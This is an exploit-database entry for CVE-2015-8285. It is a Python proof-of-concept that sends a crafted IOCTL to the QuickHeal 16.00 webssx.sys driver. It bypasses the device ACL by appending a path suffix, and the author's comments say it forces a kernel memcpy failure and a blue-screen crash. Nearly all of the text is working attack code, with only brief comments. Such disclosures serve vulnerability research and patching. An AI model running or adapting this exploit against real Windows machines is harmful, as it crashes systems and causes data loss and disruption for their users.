QuickHeal 16.00 - webssx.sys Driver Denial of Service

# Exploit Title: QuickHeal webssx.sys driver DOS vulnerability
# Date: 19/02/2016
# Exploit Author: Csaba Fitzl
# Vendor Homepage: http://www.quickheal.co.in/
# Version: 16.00
# Tested on: Win7x86, Win7x64
# CVE : CVE-2015-8285
 
from ctypes import *
from ctypes.wintypes import *
import sys
 
kernel32 = windll.kernel32
ntdll = windll.ntdll
 
#GLOBAL VARIABLES
 
MEM_COMMIT = 0x00001000
MEM_RESERVE = 0x00002000
PAGE_EXECUTE_READWRITE = 0x00000040
STATUS_SUCCESS = 0
 
def alloc_in(base,evil_size):
    """ Allocate input buffer """
    print "[*] Allocating input buffer"
    baseadd   = c_int(base)
    size = c_int(evil_size)
    evil_input = "\x41" * 0x10
    evil_input += "\x42\x01\x42\x42" #to trigger memcpy
    evil_input += "\x42" * (0x130-0x14)
    evil_input += "\xc0\xff\xff\xff" #this will cause memcpy to fail, and trigger BSOD
    evil_input += "\x43" * (evil_size-len(evil_input))
    ntdll.NtAllocateVirtualMemory.argtypes = [c_int, POINTER(c_int), c_ulong, 
                                              POINTER(c_int), c_int, c_int]
    dwStatus = ntdll.NtAllocateVirtualMemory(0xFFFFFFFF, byref(baseadd), 0x0, 
                                             byref(size), 
                                             MEM_RESERVE|MEM_COMMIT,
                                             PAGE_EXECUTE_READWRITE)
    if dwStatus != STATUS_SUCCESS:
        print "[-] Error while allocating memory: %s" % hex(dwStatus+0xffffffff)
        sys.exit()
    written = c_ulong()
    alloc = kernel32.WriteProcessMemory(0xFFFFFFFF, base, evil_input, len(evil_input), byref(written))
    if alloc == 0:
        print "[-] Error while writing our input buffer memory: %s" %\
            alloc
        sys.exit()
 
if __name__ == '__main__':
    print "[*] webssx BSOD"
     
    GENERIC_READ  = 0x80000000
    GENERIC_WRITE = 0x40000000
    OPEN_EXISTING = 0x3
    IOCTL_VULN  = 0x830020FC
    DEVICE_NAME   = "\\\\.\\webssx\some" #add "some" to bypass ACL restriction, (FILE_DEVICE_SECURE_OPEN is not applied to the driver)
    dwReturn      = c_ulong()
    driver_handle = kernel32.CreateFileA(DEVICE_NAME, GENERIC_READ | GENERIC_WRITE, 0, None, OPEN_EXISTING, 0, None)
 
    inputbuffer    = 0x41414141 #memory address of the input buffer
    inputbuffer_size  = 0x1000
    outputbuffer_size = 0x0
    outputbuffer      = 0x20000000
    alloc_in(inputbuffer,inputbuffer_size)
    IoStatusBlock = c_ulong()
    if driver_handle:
        print "[*] Talking to the driver sending vulnerable IOCTL..."
        dev_ioctl = ntdll.ZwDeviceIoControlFile(driver_handle,
                                       None,
                                       None,
                                       None,
                                       byref(IoStatusBlock),
                                       IOCTL_VULN,
                                       inputbuffer,
                                       inputbuffer_size,
                                       outputbuffer,
                                       outputbuffer_size
                                       )

#  0day.today [2018-01-01]  #